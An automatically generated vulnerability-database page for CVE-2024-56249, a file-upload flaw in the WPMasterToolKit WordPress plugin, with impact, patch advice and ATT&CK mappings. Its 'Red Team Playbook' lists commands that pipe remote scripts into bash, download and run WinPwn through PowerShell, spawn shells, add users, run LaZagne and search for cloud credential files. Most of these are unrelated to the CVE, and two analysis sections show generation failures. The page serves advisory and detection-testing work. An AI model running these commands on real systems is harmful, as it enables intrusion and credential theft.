CVE-2024-56249
Overview
This vulnerability is an unrestricted file upload flaw affecting the Ludwig You WPMasterToolKit plugin, specifically versions up to and including 1.13.1. The root cause lies in insufficient validation of uploaded file types, allowing files with dangerous extensions to be accepted. The affected component is the file upload mechanism within the plugin, which fails to properly restrict or sanitize user-supplied files before storage on the web server.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in Ludwig You WPMasterToolKit wpmastertoolkit allows Upload a Web Shell to a Web Server.This issue affects WPMasterToolKit: from n/a through <= 1.13.1.
Impact
An attacker with a privileged WordPress account can upload and execute arbitrary web shells on the server, resulting in full system compromise. This enables remote code execution, data exfiltration, and lateral movement within the hosting environment. The prerequisite is possession of a high-privileged user account in the WordPress installation. Exploitation can lead to complete control over the affected web server and potentially the underlying network infrastructure.
Solution
Users should upgrade Ludwig You WPMasterToolKit to version 1.13.2 or later where this vulnerability is patched, as documented on Patchstack's advisory page. The vendor has released a fix that enforces stricter validation of uploaded file types to prevent dangerous files from being accepted. Refer to https://patchstack.com/database/Wordpress/Plugin/wpmastertoolkit/vulnerability/wordpress-wpmastertoolkit-plugin-1-13-1-arbitrary-file-upload-vulnerability?_s_id=cve for detailed patch instructions and version updates.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability associated with unrestricted file uploads in the WPMasterToolKit presents a significant security risk, allowing attackers to upload files that can execute arbitrary code on the server. This flaw arises from inadequate validation of file types during the upload process. When a web application permits users to upload files without stringent checks on the file's content or type, it opens the door for malicious actors to upload web shells—scripts that can be executed on the server. This vulnerability particularly affects versions of the WPMasterToolKit up to and including 1.13.1, making it critical for users of this software to understand the implications of this weakness.
Attackers can exploit this vulnerability through various vectors, primarily by crafting a malicious file disguised as a legitimate upload. For instance, an attacker could upload a PHP or ASP script that, once executed, grants them unauthorized access to the server. This could be achieved by bypassing file type restrictions, using techniques such as renaming files or manipulating the upload mechanism. Once the web shell is successfully uploaded, the attacker can execute commands on the server, potentially leading to data breaches, defacement of the website, or even lateral movement within the network to compromise other systems.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on the WPMasterToolKit for their web management needs. Successful exploitation can lead to severe consequences, including unauthorized access to sensitive data, disruption of services, and reputational damage. The financial implications can be significant, encompassing costs related to incident response, legal liabilities, and potential regulatory fines. Furthermore, the presence of a web shell can facilitate further attacks, as attackers may use the compromised server as a launchpad for additional exploits against other systems within the organization or its supply chain.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, it is crucial to enforce strict file type validation and content inspection during the upload process. This can involve using whitelisting techniques to allow only specific file types and employing antivirus solutions to scan uploaded files for malicious content. Additionally, organizations should regularly update their software to the latest versions, as vendors often release patches to address known vulnerabilities. Implementing web application firewalls (WAFs) can also provide an additional layer of protection by filtering and monitoring HTTP traffic to detect and block malicious requests.
In conclusion, the unrestricted file upload vulnerability in the WPMasterToolKit poses a serious threat to organizations using this software. The potential for attackers to upload and execute web shells can lead to significant security breaches and operational disruptions. By understanding the technical details of this vulnerability, recognizing the various exploitation scenarios, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities. Continuous monitoring and a proactive security posture are essential in safeguarding against the evolving landscape of cyber threats.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-56249
WordPress WPMasterToolKit plugin <= 1.13.1 - Arbitrary File Upload vulnerability
|
Nxploited | 1 | 1 | 2025-03-18 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-56249 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/wpmastertoolkit/vulnerability/wordpress-wpmastertoolkit-plugin-1-13-1-arbitrary-file-upload-vulnerability?_s_id=cve |